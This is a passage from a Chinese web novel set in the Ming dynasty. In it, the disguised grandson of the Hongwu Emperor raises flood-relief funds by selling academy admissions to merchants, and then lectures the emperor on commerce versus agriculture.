胡老三做买卖从来都不是一个斤斤计较的人,他认准的事情出手比谁都大气,比谁都慷慨! 胡老三是慷慨了,可他的这一番话却是把在场的所有人都给雷了个外焦里嫩..... 朱樉:“????” 蓝玉:“?????” 蒋瓛:“??????” 朱允熥:“??????” 老朱:“????????” 除了朱煐之外,其他几人全都被胡老三的这出手给惊呆了。 老朱人麻了! 听着胡老三的话,老朱简直不敢相信自己的耳朵..... 原本以为这十六万两就已经是一笔巨款了,这可是整整十六万两啊! 昨日满朝文武捐款,凑了半天总共才凑出了个一万余两银子,这商贾随随便便出手,就是十六万两? 这还是咱认识的那一毛不拔的商贾吗? 而还没等老朱回味过来呢,胡老三生怕加码不够连续加码,直接把老朱给整不会了。 这特么的是直接来了个超级加倍啊! 十六万两已是巨款,结果这一转眼的功夫,又加了二十万两? 这....咱大明的商贾....都这般有钱的吗? 老朱第一次真正见识到了大明商贾出手之阔绰! 而不光是老朱,蓝玉和朱樉也是瞪大了眼睛。 这胡老三眨眼功夫又捐了二十万两? 要这么算....哪怕是扣除其他商贾凑的六万两,光是这胡老三一人就捐出了整整三十万两银子! 这可是三十万两银子啊!这是什么概念? 三十万两银子,虽不说能够完全赈了湖广的灾情,可绝对可以很大程度地缓解了! 而让人震撼的是,这三十万两银子的捐赠,只出自胡老三这一人之手! 与此同时,朱樉和蓝玉也在此刻齐齐意识到了一个问题...... 这三十万两一出,岂不是说明....朱御史他昨日在朝堂上信誓旦旦说的要从商贾手中筹措湖广赈灾粮款一事,基本完成了? 短短一天的时间,直接就筹措到了三十六万两银子? 还有十万两是当前处在湖广附近的实打实的粮食! 哪怕是老朱见惯了大场面,可一时半会儿也是语塞。 他被这整整三十六万两给砸的有点懵..... 老朱的目光不由自主地落到了朱煐的身上,说实话,即便是身为洪武大帝,执政二十余年,这会儿也是有些不知所措拿不定主意了,迷茫中的老朱下意识就看向了朱煐..... 一旁已然被这个数字给惊到了的朱樉、蓝玉、朱允熥也纷纷看向了朱煐.... 蒋瓛这会儿低着头,头都不敢抬,只是用眼角余光不断撇向朱煐.... 此刻,朱煐俨然成为了整个御书房的中心。 而感受到来自老朱,朱樉,蓝玉,朱允熥,甚至蒋瓛的目光,朱煐非但没有感觉到半点压力,反而松弛地笑了:“胡老板拳拳爱国之心陛下已然知晓。陛下早就曾言,只要捐二十万两便可给胡老板你一个稷下学宫的入学名额,胡老板慷慨多捐十万,就当是胡老板为湖广灾情做贡献了。此事陛下会记住的。” “陛下,您说是吧?” 朱煐说完Q了一手老朱。 懵圈中的老朱如梦初醒。 “啊对!朱御史说的对。胡老板是吧?你的心意咱感受到了,咱和朝廷都不会忘了胡老板你今日的付出的。” “你是咱见过最为大明着想的商贾!” 老朱冲着胡老三竖起了大拇指,丝毫不吝啬夸赞。 开玩笑!这商贾可是捐了整整三十六万两银子啊!别说是让老朱竖起个大拇指了,就算是让老朱高呼一声牛逼,老朱也会毫不犹豫。 啥玩意儿能比钱好使? 眼下朝廷正缺着钱呢! 而面对老朱的夸赞,胡老三的脸色唰的一下就变得通红,瞬间涨红,红温了! “草民多谢陛下谬赞!这都是草民应该做的,陛下言重了。” “草民能赚到这些钱也都是多亏了陛下开创大明盛世,有了安居乐业的天下百姓才有了我们这些商贾一口饭吃,草民赚取这般多银钱每日惶恐,如今能够用些许钱财帮上朝廷,为陛下分忧,实乃草民的运气。” 胡老三激动的同时嘴里连珠带炮地开口,听得老朱一愣一愣的。 胡老三的这一发话不光听得老朱一愣一愣的,一旁的朱樉、蓝玉和朱允熥也是听得一愣一愣的..... 老朱看着胡老三,原本对于商贾老朱向来都是不感冒的,可眼下对胡老三却是越看越觉得顺眼了...... 这小子当真识趣啊! 商贾之中居然还有这般识大体之人? 莫不是真如咱孙说的,是咱小觑了商贾? 老朱也不免开始反思。 毕竟这整整三十六万两银子就摆在眼前,事实就在眼前..... 事实就是在自己看来一毛不拔的商贾,在朱煐的手里一天之内,单单是一个人就取来了整整三十六万两银子! 老朱有些想不明白,可他心里却高兴。 老朱的眼神落在朱煐的身上,越看越是高兴。 咱不明白咋了? 咱不明白不妨碍咱孙懂啊! 咱孙明白! “陛下,该给圣旨了!” 就在老朱的心神全都有些神游在外的时候,朱煐忽的开口将老朱的思绪拉回到了现实...... “圣旨?” “是啊陛下,你不是答应了用盖有私人印章的圣旨作为稷下学宫学子的入学通知书的吗?胡老板为朝廷,为我大明贡献如此之大,臣给他一个稷下学宫入学名额不过分吧?” “啊?不过分,不过分,咱写,咱这就拟圣旨。” “蒋瓛,给咱取圣旨来!” 老朱的动作很麻利,这辈子草拟圣旨草拟了这么多张,老朱从来就没有有过这一次这般值得的感觉,一张圣旨换三十六万两银子? 他奶奶的,要是一直有这等好事,咱愿意一天到晚一直都在草拟圣旨! 这圣旨可太值钱了! ...... 老朱当着胡老三的面亲笔写下了一封圣旨,圣旨内容按照朱煐所说,是关于稷下学宫的录取通知书,老朱还特意询问了胡老三他家中儿子的名字,御笔亲提名讳于圣旨上。 写完之后老朱结结实实地给圣旨盖上了一个私人印章..... 胡老三在老朱写圣旨的时候就已经无比激动。 而当他亲眼看到老朱将圣旨写完,盖好章后,脸色已经涨红! 他用手狠狠地掐了一下自己的大腿。 疼!疼得很! 真的!这他娘的一切都是真的! 稷下学宫的录取圣旨! 不愧是稷下学宫,不愧是陛下当祭酒的学堂! 这格调,简直太强了! 朱御史诚不欺我啊! “胡老板,还愣着做什么?还不接旨吗?” 朱煐的声音响起,将激动的胡老三的思绪拉回到了现实。 胡老三赶忙噗通一声跪在地上,双手举的老高从老朱的手里接过圣旨:“草民叩谢陛下!谢陛下隆恩!” 胡老三颤抖着双手激动地将圣旨紧紧握住。一张圣旨落在胡老三的手中,却让他感觉沉甸甸的..... “胡老板,恭喜啊,令公子便是我稷下学宫招收的第一个学子了,不过这只是一个开始,胡老板回去之后记得叮嘱令公子,切莫骄纵,入了学宫之后须得好好学习本事,倘若日后真有才干,陛下定然不会埋没的。” 第71章 陛下,你糊涂啊! 老朱第一次真正开始正视商贾这个群体。 此前老朱对于商贾根本就是不屑一顾,说是看不起也好,说是看不上也罢,总是觉得商贾手头也没有多少钱,而且想从商贾手里弄钱难度还大,纯粹就是吃力不讨好。 可眼下的这一幕却让老朱彻底大跌眼镜。 什么时候从商贾手里掏钱,这么简单了? 哦不,甚至都已经不能说是从商贾手里掏钱了,这分明就是人家主动上门送钱啊! 老朱隐约感觉自己好像抓到了一些什么,可这种感觉又不是非常的明显,他不由自主看向朱煐,心中只剩下了欣慰与惊叹。 不愧是咱大孙啊! 连咱都不曾想到的法子,居然还真有奇效? 这稷下学宫开不开得起来的老朱不清楚,可有一点,学宫还没开,这三十六万两已经入账了,这笔账老朱可太清楚了! 等等! 忽的,老朱忽然好像又想到了什么....整个人猛地一怔.... 刚刚咱大孙说过什么来着? 这稷下学宫,第一批招收商贾家子弟....招收十个? 等等等等! 冷静! 咱要冷静! 老朱努力让自己保持冷静,可即便是这辈子见惯了风浪的老朱在此刻也难以再保持绝对的冷静....此刻他的心里就忍不住盘算起来..... 这胡老三一人,不算其他商贾的六万两,他一人便捐出了三十万两,这要是十个人..... 那是多少银子? 一个三十万,两个六十万,三个就是九十万....十个....就是整整三百万两! !!!!! 一时间,老朱眼睛猛地一瞪,瞳孔猛地一缩。 三百万两啊! 就算是退一步,不是每个人都像这胡老三这般出手阔绰富裕,就算是每个人十万两,这剩下的九个名额,也能卖出......九十万两? 这特么的,湖广赈灾的钱不是全有了? 一百多万两,足够拨给湖广赈灾了! 一百万两银子,这特么的是什么概念? 作为大明的皇帝,老朱再清楚不过了,整个大明去年的赋税总共折合银两也才两千万两上下,这还不全是白银,大明白银稀缺,大部分收的赋税都是以物品的形式上缴的,有缴纳粮食的,有缴纳丝绸布匹的。 可眼下,这些商贾....难不成真要拿出百万白银? 咱的大明....当真有这般富裕吗? 这些商贾....真能掏出这些钱? 老朱心里打了个问号,可这不妨碍老朱心中幻想,因为这不是单纯的幻想,而是基于部分事实的推断,毕竟胡老三这白花花的三十六万两就这么已经出手了..... ...... 老朱目光炙热地看向朱煐,他有太多的话想要问了,可眼下这个场面,当着这么多人的面老朱也只能欲言又止地住了嘴..... 咱是皇帝,咱也是要面子的! 咱可以不懂,但咱不能问! 老朱有着属于自己的坚持和倔强。 当然,这缘由可以暂且不问,可有一点,老朱忍不住了.... “朱御史,你刚刚说这稷下学宫第一批招收的商贾家子弟有多少?” “启禀陛下,臣准备在第一批招收十名商贾家子弟入稷下学宫,至于往后如何,且先看这第一批的学生,以观后效。” “嗯,十人好啊,不多也不少,倒是刚刚好。不过尚有一点还需注意。” 老朱的话让朱煐也是一愣,下意识问道:“什么?” 老朱指了指一旁的胡老三:“咱是想说这招生的时候得注意着些已经入学之家的感受,胡老板花了如此代价证明自己是我大明有良心的好商贾方才入了学宫,其他人就算是不如胡老板,也不能差了太多才是,否则岂不是让胡老板吃了亏了?” 老朱旁敲侧击。 朱煐先是一愣,旋即不由乐了。 合着老朱想的是这个? 想到这,朱煐不由莞尔笑道:“陛下大可放心,臣先前想的就是将这入学的最低标准放在对我大明有贡献的商贾上,恰逢眼下湖广大灾和学宫重开,此番第一批招生的商贾家庭得需在这两件事上起码有二十万两贡献,由此才可判定其家庭实力以及爱国之心。” “关于此事微臣此前就已经告知了胡老板,只是不曾想胡老板见到陛下之后更显爱我大明,又多捐了十万两。” 朱煐不由咂舌,这反应他是实实在在发自内心真实的。 即便是朱煐也没有想到这胡老三会突然来这么一手....这可是整整十万两银子啊,不是十两百两,这丫的好家伙,一个激动就直接全给捐了? 好大的手笔! 难怪能单枪匹马拼出这般身价,这生意能干的这么大,那都是有原因的! 而老朱听朱煐这般说,整个人俱是一怔,必有大口深吸了一口气,整个人都来了精神! 原本他以为入学每个名额收十万就已经很不错了,可朱煐却说,他早有考量,这一个名额....收二十万? 一个名额二十万,还剩下九个名额,这特么的不是....一百八十万? 倘若真能收满十个人,整整就是两百多万两银子啊! 嘶! 这他娘的可比收税都赚多了!~ 老朱的两只眼睛都在放光! “朱御史,这十个名额会不会少了些?咱看要不提升些名额?稷下学宫毕竟刚刚重开,得大规模招生才对。” 老朱心里有着自己的盘算。 这一个名额二十万两,这可是白花花的银子啊! 这要是收个一百个,两百个.... 啧啧啧,老朱想都不敢想。 而听着老朱的话,朱煐的嘴角却是不由抽了抽。 这老头子还真能想。 当真以为这钱都是大风刮来的? “陛下,臣以为这招生的数量已经够了,人在于精不在于多,倘若只是泛泛之辈,只会降低学宫的教学质量,影响学宫口碑,十人不多不少刚刚好。” “既然陛下已将学宫招生之事交由微臣,还请陛下莫要干涉,以免乱了臣的布置。” 朱煐当即脸色一板,冷着个脸冲老朱说道,一边刚正不阿地怼着老朱,一边用眼角余光偷偷观察老朱的反应,心里面难免还是有那么一丝丝的希奕,期盼着老朱能够暴怒.... 可终究现实还是很骨感。 老朱悻悻然地闭嘴了,压根没有半点生气的样子。 好在朱煐对于老朱的好脾气也已经习惯,只是咂舌,也不再吭声..... 朱煐是不说话了,可他这与老朱之间的对话却是实打实地一字一句地尽数落到了在场每一个人的耳中..... 听着这一老一少之间的交流,即便是朱樉也不由脸皮连连抽动,张了张嘴却又无言以对..... 他娘的,这老头子在搞什么? 这听着怎么就怪怪的呢? 这朱御史在老头子心中的地位如此之高吗? 朱樉心中暗暗计较着,原本他只当朱煐是老朱的代言人,他看中的是朱煐背后的老朱,可随着和朱煐走近后朱樉逐渐发现,貌似情况和自己想象的有所出入,这位朱御史,不光是老头子的代言人,貌似还真有真才实学! 想想也是,老头子又不是老糊涂,又岂会将一个庸人引以为心腹? 朱煐莫名的在朱樉的心中地位猛地拔升了好几个档位..... 而与此同时。 一旁的胡老三听着老朱的一次次发言低着头压根就不敢抬头直视老朱,更不敢说话,就连吭声都不敢..... 要说内心最为震撼的,还得是胡老三。 虽然说他自认这些年走南闯北,要说这大官也见过不少,甚至交际过不少,可眼下这位爷可不是什么大官,这是偌大的大明之主,是天下之主,是只存在于传闻和百姓口中的大明洪武皇帝! 胡老三低着头一边听着老朱说话,一边提取着老朱言语中的信息。 而在短暂的提取信息之后,胡老三却发现了一个惊人的事情! 从最开始陛下的询问以及言语中,胡老三发现了两点。 第一,陛下将重开稷下学宫之事好像全权交给了朱御史,且自身对于稷下学宫招生之事并非完全了解! 第二,陛下很看重朱御史,甚至好像....有些看重到倒反天罡了! 朱御史压根不给陛下面子,当着陛下的面反驳了陛下的提议,可陛下偏偏还一点也不恼.... 胡老三被自己总结出来的信息给彻底震惊! 不可思议! 这还是传闻中一言九鼎,说话容不得他人反驳的洪武皇帝吗? 亦或者....陛下的这态度,仅限于朱御史? 至于老朱说想要扩大名额之类的,打的是什么主意,胡老三自然也听得出来,虽然心中有些不爽开这么多的名额,可却也没有说什么,这好歹也算是陛下看到了商贾的作用,或许对于商贾的地位提升有着莫大的作用。 只是没想到还不等他说话呢,朱煐直截了当地就给否了陛下的这个想法,偏偏陛下还一点不生气,悻悻然收回了成命..... 胡老三眼中闪过精芒的同时,心中满是窃喜与庆幸。 不曾想陛下竟然如此看重朱御史! 这一回押宝还真是押对了! 不光给陛下留了个好印象,还与朱御史彻底建立了交情! 三十万两确实很多,可胡老三觉着,眼下这三十万两花的,简直太值了! ...... 诸事处理的差不多后,众人告退。 老朱独留下了朱煐,说是要详谈这稷下学宫重开一事。 于是很快,这与书房里就只剩下了老朱和朱煐两人,至于蒋瓛,作为目前唯一一个除了老朱之外知晓朱煐真实身份的人,这会儿识趣地给爷孙二人让出了私人空间,去御书房门外看门去了.... 御书房里,只剩下了朱煐和老朱两人,气氛稍稍有些尴尬,沉默了一会儿之后,还是朱煐主动开的口。 “陛下留下微臣,不知有何吩咐?” “哦。” 老朱原本看着朱煐有些失神,老朱每次和自己的这大孙相处,总会被其优秀恍惚一阵,听到朱煐的话才回过神来笑道:“朱御史好本事啊,这一日之间便弄到了三十六万两,按照朱御史的计划,这商贾的十人名额若是招满,便能聚齐整整两百余万两!湖广赈灾粮款和稷下学宫重开的钱倒是都齐了。” “咱留朱御史主要是心中困惑,想请朱御史给咱解解惑。不知可否?” 老朱越看朱煐越是觉得满意的不能再满意..... 这失而复得的大孙简直就是上天回馈给咱最好的礼物..... “陛下但讲无妨。” 朱煐倒是没有察觉出老朱的异样,因为在朱煐看来老朱一直行为举止都不正常,古怪的很,不说别的,就这脾气,就好的吓人..... 这段时日相处下来,朱煐对于老朱的这些异于常人的举动早就已经习以为常了..... “咱就是不明白,何以这商贾在朱御史你的手里就如此慷慨,到了咱的手里就一毛不拔?” “朱御史你是不知道啊,前些年同样是募集钱粮,也是大灾之年,还是咱亲自开口,咱甚至都给这些商贾写了亲笔信件,可你猜结果如何?结果整个应天府的大商贾凑了凑,总共凑了数万两银子,打发叫花子一样给咱凑来了。” “那当时给咱气的啊!” “可这一回咱看这胡老板,这给钱也太痛快了。到底是这胡老板太富裕,还是咱的法子出了问题?” 老朱问出了心中的不理解。 他早就想问了,只是碍于脸面一直不好开口,直到眼下单独和朱煐独处。 在朱煐面前,老朱是一点也不要面子的,和咱大孙,还要啥脸面? 咱不懂问大孙,这天经地义嘛! 老朱问的理直气壮。 朱煐看了眼老朱,没有直接回答,反倒是反问道:“不知陛下对商贾是作何看法?” “臣听朝堂上诸公常言,商贾不事劳作,投机倒卖,是以为贱籍,于大明无益。不知陛下以为如何?” “这....” 老朱不由蹙眉,旋即冲朱煐苦笑道:“这咱先前也是这般觉得的,可眼下.....咱又有些拿不准了。” “咱一直以来便不喜商贾,毕竟这些商贾囤货居奇,为了赚钱可谓不折手段,甚至贿赂官员胆大包天,普通百姓勤勤恳恳尚且不能裹腹,可这些商贾不事劳作却锦衣玉食,咱当年未曾当皇帝时便最痛恨这些人。” “天下大灾不曾见他们发半点善心,反倒是落井下石哄抬粮价,以至尸横遍野,易子而食。” 说着,老朱隐隐想起了曾经痛苦的回忆,一双浑浊的老眼里隐约泛着泪花...... “朱御史,你以为呢?” 老朱强忍住了心中的情绪看向朱煐。 却不曾想朱煐摇了摇头,叹了口气.... 第72章 老朱:咱大孙比咱强啊! 老朱看着面前激动的朱煐,听着朱煐那形同于呵斥的话,整个人顿时愣在了原地..... 倘若是其他人对着老朱说这番话,老朱早就已经暴怒,不说诛九族,夷三族是必须的,剥皮填草那都是恩典。 老朱什么脾气?那能忍得了这鸟气? 是谁都能在他脸上贴脸输出的吗? 可惜老朱面对的是朱煐..... 面对自己这失而复得的大孙子,老朱是半点气也生不起来。 大孙子的训斥,没有让老朱感觉到有半点的恼怒,反而心里还隐隐有些暖意.... 是的,暖洋洋的.... 而同时,老朱也开始不由反思起了自己..... 要说这世上,有谁能真正劝谏老朱的话,目前只剩下朱煐了。 要说以前,还有个马皇后,还有个朱标或许能说得动老朱,让老朱改变想法,可眼下,马皇后死了都快十年了,朱标也刚刚去世,按照历史的车轮,老朱即将进入到一段疯狂期。 然而这走向生生被朱煐以一己之力给截断。 如今的老朱早已将朱煐这个失而复得的大孙子视作上天的恩赐,老天爷给自己的恩典,是大明未来的希望。 而今天所发生的一切又更进一步验证了老朱的想法。 一毛不拔的商贾,在咱大孙的手里,直接一天之内就掏出了三十六万两银子! 甭管是因为什么原因,甭管这钱是谁掏出来的,反正这钱实打实地摆在了面前。 这就是咱大孙有本事!这就是咱老朱家的种好! 是以被朱煐当面指着鼻子教训,老朱非但半点不恼怒,反而心中隐约有那么点小傲娇和小自豪..... 咱大孙比咱有本事啊! 暮年的老朱最喜闻乐见的莫过于后继有人,自己的后辈比自己更有本事,只有这样,老朱才能真正放心将这大明江山交托出去。 以往朱标算是一个合格的继承人,可是要说朱标比老朱更强,更有本事,哪怕是老朱自己也不认可,只能说朱标达到了老朱心里一个合格继承人的要求和标准。 可眼下的朱煐却不同,朱煐虽然在很多方面并没有像朱标那般全能,可在老朱看来,在某些方面,朱煐的能力超过了朱标,哦不,甚至超越了自己! 而这,在老朱的眼里,那代表的就是俩字——天赋! 除了天赋之外,老朱想不到任何一个其他的词语能够形容了! 咱都办不到的事情,被咱大孙办到了,这不是天赋又是什么?要知道,咱大孙,还如此年轻啊! ...... 老朱心里思绪纷飞,翻滚着自己心里的小九九的时候,朱煐也在默默观察着老朱..... 看老朱整个人愣住,朱煐心中不由意动。 这老朱被自己一顿训斥般的劝谏,不会是已经气蒙了吧? 想到这里,朱煐心中不由大喜。 一个皇帝,被人当着面指着鼻子训斥般地劝谏,这搁谁能忍? 忍不了,绝对忍不了啊! 朱煐自认,即便是自己异位处之,也绝对会怒气勃然。 这老朱能做到不生气吗? 显然,这种可能性很小,更大的可能性是老朱这会儿已经气蒙了,等他缓过劲来之后自己就即将迎接来自这位洪武大帝的怒火..... 想到这里,朱煐当即开口。 “陛下,臣所言每一句皆为肺腑之言,还请陛下务必听之。” “陛下须知,三人行必有我师,这人无完人,陛下所懂,所知也不过这人间沧海一粟,当有不耻下问之心,如此才不至一叶障目不见泰山,如那井底之蛙坐井观天。” “啪啪啪!!!” 就在朱煐一副混不吝做派地继续往死了劝谏的时候,老朱也缓过神来,掌声响起..... 朱煐看着轻轻鼓掌的老朱,心中暗喜。 这老头子这会儿该是气坏了吧? 怒极反笑?这已经是被气懵的节奏! “陛下,您可是生气了?” 朱煐心中暗喜,有些迫不及待地开口询问,看向老朱的眼神里充满了希奕..... “生气?咱有什么好生气的?” “哈哈哈哈,朱御史,都说了,这民间传闻不可尽信,咱知道咱在民间的这名声不太好,可实际上不是咱吹,就咱这胸襟还是可以的。” “咱这是高兴呢,高兴咱大明出了朱御史你这么个人才啊。” “不愧是我大明栋梁之材,便是这商贾,咱用不了的也能人尽其用。” “朱御史说的好啊,这商贾就好似这双刃剑,就是那刀具,本无好坏,好与坏只是取决于人怎么去用罢了,是咱没有用好这把刀,咱一直以为是这刀不好,如今朱御史你这一番话才让咱明白,这哪里是刀不好,这分明就是咱人不行啊!” “咱反思,咱必须深刻反思!” “朱御史能有这般见识,咱替大明高兴啊。” “咱已经老了,未来是属于你们这些年轻人的。” 老朱一脸欣慰地看着朱煐。 朱煐:“......” 老朱的这一番话属实是给朱煐整无语住了.... 不是....陛下,你好歹是个皇帝啊,你不要面子的? 我喷你,你特么的就低头认错了? 这合理吗? 这合适吗? “陛下,你当真没生气?” 朱煐还是有些不可置信。 “咱有什么好生气的?” “咱说了,咱度量没那么小,咱不生气,朱御史,你还有什么看法,放心大胆提出来,咱今儿个才发现,以往还是小觑你了,咱得给你更大的舞台去施展才是,这小小御史台,简直便是埋没了你的才华。” 老朱摸着下巴,心里寻思着是不是要给朱煐加加担子.... 咱这年纪,怕是时日无多了,原本还担心太快放权会拔苗助长,可眼下,咱大孙表现出如此天赋,这要是再徐徐图之,岂非浪费了咱大孙的天赋? 不如给咱大孙多放权,升升品级? 不过眼下却还是不好叫人看出端倪,咱大孙对咱的误会还是深啊....老朱不由得想到了刚刚朱煐在自己拍手后的反应,居然第一时间问的是自己有没有生气?这言下之意,岂不是说咱在咱大孙眼里,还是个随便一点小事情就会生气的人么? 眼下尚且不是公布关系的时候,得找个让咱大孙不得不拒绝的时机才行.... 老朱现在并没有准备公开和朱煐的关系,既然如此,那就不能做出过于异常的举动引人怀疑。 可举动不能异常的话....那又如何给咱大孙快速擢升呢? 老朱挠了挠头。他第一次发现这给手下升官也是个麻烦事..... ...... 而就在老朱绞尽脑汁想给朱煐升官的同时。 朱煐听到老朱说要给自己委以重任,升官的时候,整个人顿时就愣住了..... 这老朱怎么还要给自己升官了呢? 这可不成啊! 倒不是说升官不好,而是御史这个位置太适合自己了。 要说整个朝堂,死亡率最高,风险最大,最能拉仇恨的官职是什么官职,那必是这御史之位无疑啊! 御史,闻风奏事,但凡是朝堂上的事情,从皇帝修宫殿,到各部的工作,到各地的赈灾,包括前线的战事,任何一件事情御史都有权合情合理地开口插嘴发表自己的见解和意见,这几乎就给了自己一个天然的平台。 这个平台可太有利于自己的任务完成了! 这要是升官了,可再没有这么好的平台能够肆无忌惮合理合法地得罪人了。 因此打心底里朱煐并不想升官.... “陛下,臣刚入朝堂寸功为立,何以擢升?” “倘若微臣只因陛下信赖便因此而擢升,那岂不是说臣是佞臣?” “还请陛下勿要有如此想法!” 朱煐严词拒绝。 而老朱不由原地怔住.... 这求着自己要自己擢升官职,升官发财的人多不胜数,可这求着自己让自己不要擢升的,还真是少见! 而转念一想后的老朱心中不由得一动,旋即有些动容。 咱孙这是不想让咱为难啊。 刚入朝就被连续擢升,这着实会引人非议。 老朱有些感动,虽然大孙不知自己的身份,可却是实打实地为自己考虑啊.... 不过....咱如何行事,又岂容他人置喙? 不立寸功不好擢升,可眼下咱大孙在短短一日之间就为湖广灾患筹措到了这价值数十万两的钱粮,不仅如此,还有近两百万两还在路上,这等功绩,咱擢升合情合理啊!! 老朱心中打定了要给朱煐升官的主意,不光要给朱煐这个大孙子升官,还要让其他人无话可说。 咱给咱孙升官一定是咱大孙优秀,而非咱大孙走后门儿! 老朱对于旁人如何谈论,如何议论自己并不在乎,可他在乎旁人如何议论朱煐..... 是以老朱决定再等上一等,等功绩尽显之时,便是时机! 当然,这升官不是目的,老朱的真正目的还是他准备给自己这寄以厚望的大孙子加加担子,用实践来锻炼,让朱煐快速成长! ...... 不过.... 老朱的心里还有一个疑惑。 小心翼翼地瞥了两眼朱煐,想问却又不好意思问出来.... 犹豫了小小一会儿后,老朱才终于开了口:“朱爱卿,咱理解你刚刚说的这商贾就是一把双刃剑之说,用好了伤敌一千,用差了自损八百,可这用好了是如何用?为什么朱爱卿你开口这些商贾便如此大气,咱开口,这些狗娘样的就一个比一个小气?” 要换做旁人,老朱哪怕是心中有所疑虑也不会这么直白地问出来,咱好歹也是大明皇帝,咋也是要面子的好不好? 可面对朱煐老朱也就没有了这么多的想法。 问别人丢脸,可咱问的是咱大孙,咱大孙比咱强,比咱有能耐,咱自豪!咱问咱大孙,咱骄傲! 老朱看向朱煐。 朱煐笑道:“陛下有所不知也正常,毕竟这人无完人,陛下也并非是全知全能,这尺有所长寸有所短,这商贾之道,便是陛下的短处。” “而微臣不同,微臣自小便长于乡野,和商贾时常打交道,对于这商贾所思所想更为了解,也更明白商贾的优点和缺点,所谓知己知彼百战不殆,陛下对商贾不屑一顾更不愿去了解,又如何能利用这股力量?” “陛下尚且不知商贾所想,又如何用好这把刀?” “不知陛下以为,臣说的可对?” 老朱闻言皱眉,半天后抬起头看向朱煐吐出了句:“可是朱爱卿,咱这也是自小长于乡野的啊,咱怎么就没看出来呢?” 老朱挠了挠头,要说长在乡野,那自己可乡野得不要不要的了..... “陛下此言差矣。” “虽然陛下也长于乡野,微臣也是长于乡野,可陛下之乡野与臣这乡野却是不同,其中差距宛若云泥! “陛下长于乡野,连吃饭都吃不饱,与陛下打交道的基本都是在土里刨食的农户,陛下对商贾接触的不多,更别说了解商贾了,一个人的观念和想法是会被周围的环境所影响的,陛下成天与农户打交道,因此就会站在农户的角度看待问题,从农户的角度看待问题就会发现什么?发现商贾无用,会发现农户的重要性,会聚拢农户的力量,会知晓农户所想。” “也正是因为如此,陛下后来起义才得到了大部分农户的支持,才能短时间聚拢了那般庞大的力量。” “这一切,得归功于陛下从小在乡野长大,与农户打交道,知晓这些农户想要的是什么,所以陛下就能借力,借这天下千千万万农户之力。” “而同理,臣自小也在乡野长大,不过臣与陛下您不同。陛下您身无长物更没有什么才华可言,所以只能过着无比拮据的生活,只能与农户相伴,接触最多的想必也是农户。而臣不同,臣也在乡野长大却也好在有些许的才华,不至于处于应天府的最底层。是以与臣打交道的大都为大大小小的商贾,所以臣才会对商贾所想如此了解,也正是因为了解,才能知道他们真正想要的是什么!” “商贾有钱,可他们却缺乏地位,缺乏天下百姓的认同感,而臣之所以要重开稷下学宫,其中一方面就是为了给商贾争取哪怕一丝丝的体面!” “商贾想要地位,想要名声,臣的稷下学宫都能给,陛下,您说,他们会如何?” “掏....掏钱?” 老朱顺着朱煐的思路后脱口而出..... 第73章 朱棣:这小子是父皇的私生子? “天下熙熙皆为利来,天下攘攘皆为利去。” “陛下,这商贾他们有钱,他们所求无非就是地位和名声,这些东西对于旁人而言或许不好给,可对于朝廷对于陛下而言,这不是顺手的事儿么?” “以这些莫须有之物,换取一些银钱,何乐而不为呢?如此对商贾有利,对朝廷有利,唯一要做的无非就是陛下放下心中对商贾的成见而已,放下成见却能活湖广万千百姓,这买卖划算啊。” 朱煐不由咂舌。 从旁观着的角度来看,大明的商贾还真就是处于急切需要社会认可阶段,大明商贾的地位和后世商贾可全然不同,大明商贾的地位太低太低了,低到哪怕他们赚了钱心底的底色也是自卑的程度。 别说是别人看不起商贾了,就连商贾自己都看不起商贾..... ...... 而此时的老朱一边咂舌一边回味着朱煐说的话.... 咱孙这是...在教咱做事? 老朱对此,乐见其成。非但乐见其成,心中还有那么些许的骄傲。 这是咱孙! 咱孙年纪轻轻,都已经能教咱了! 这就是天赋啊。 谁说咱大明的未来没有希望了? 咱大明的未来,充满了希望! “好!” “啪啪啪。” 老朱一边鼓掌一边叫好。 “朱爱卿啊,听君一席话胜读十年书啊,你这商贾之论,咱也算是大开了眼界,或许是咱错了,咱对商贾有偏见,依朱爱卿所言,商贾确实是有其特殊的作用。不过咱也有咱的想法,爱卿且听听。” 老朱欣慰地看着朱煐的同时,却也有着属于自己的坚持。 “陛下请讲。” 老朱缓缓起身,而后踱了两步后转过身目光如炬看向朱煐,盯着朱煐说道:“咱看朱爱卿对商贾多有看重,多有推崇,可爱卿可知为何咱对商贾如此防备?” “为什么?” 朱煐也不免好奇。 历朝历代对商贾的态度不一而足,而明朝时期,老朱对于商贾的态度算是最差劲的几个皇帝之一,对于商贾的遏制达到了一个小高潮。 朱煐一直以为这是因为老朱幼年受到了商贾的欺凌,再加上老朱没有找对与商贾沟通的方式方法才导致的,可听老朱现在这话里的意思....好像还另有隐情? 老朱的表情变得严肃。他严肃地看着朱煐.... “咱此前也想过让大明有更多的商贾,可咱又想,这商贾来钱太容易了,倘若人人都成了商贾,那这田地谁去耕种?” “这天下终究是要人去种地的,人终究是要吃粮食的,粮食不够,一切都是扯淡。” “朱爱卿啊,你说咱年少时和你年少时不同,咱年少时见了商贾欺压百姓,是以对商贾多有厌恶,年少时见多了百姓疾苦,是以能明白百姓所想。但你可知,咱见的不光是百姓和商贾,咱见过尸横遍野,咱见过没有粮食之后,人会如何,易子而食!咱是亲眼见过的!” “那些人已经不能称之为人了!” “咱那时候就想,要是天天能有一口饭吃,那该多好啊....” “商贾固然有能耐赚钱,固然比普通的农户能赚钱,可咱觉着,还是这些农户让人安心,他们能种出粮食,能让咱心里头不慌。” “钱少些日子该过照样过,无非就是勒紧裤腰带过日子,可要是没有了粮食,那日子可就真没法过了!那是要死人的!” 老朱一番话顿时让朱煐整个人如遭雷击,怔在了原地.... 他一直以来都在用后世后来者的思维来看眼下的大明,作为一个旁观着的角度去看这个时代。 可听了老朱这一番话,朱煐才猛然发现,站在旁观着的角度看这个时代固然能够看清楚很多东西,可却因为只是旁观者因此往往很难感同身受,会忽略掉一些东西..... 而老朱说的这一点,是朱煐此前完全没有想到的! 是啊,眼下的大明可不是后世。 大力发展经济,大力鼓励商业发展,这放在后世自然是没有错的,以经济建设为中心,大力发展生产力,经济基础决定上层建筑,只有有钱了,一切发展才有根基才谈得上发展! 这些话朱煐在后世听得耳朵都起茧子了。 这些话放在后世自然是没有错的。 可如今自己身处的,并非后世,而是大明! 这些话放在大明,就出了问题! 任何的政策都需要因地制宜,都需要结合时代背景,这一点被自己给忽略了! 后世虽然和大明一样都是百废待兴,可和大明不同的是,后世全球都已经迈入了工业化时代,生产力大大提升,而生产力大大提升之后的结果就是节约了大量的人力,同样的人力,在后世就能靠着机器一个人干十个人甚至一百个人的活,而且机器吃的是电是油,不是粮食。 而眼下的大明和后世的背景是完全不同的。 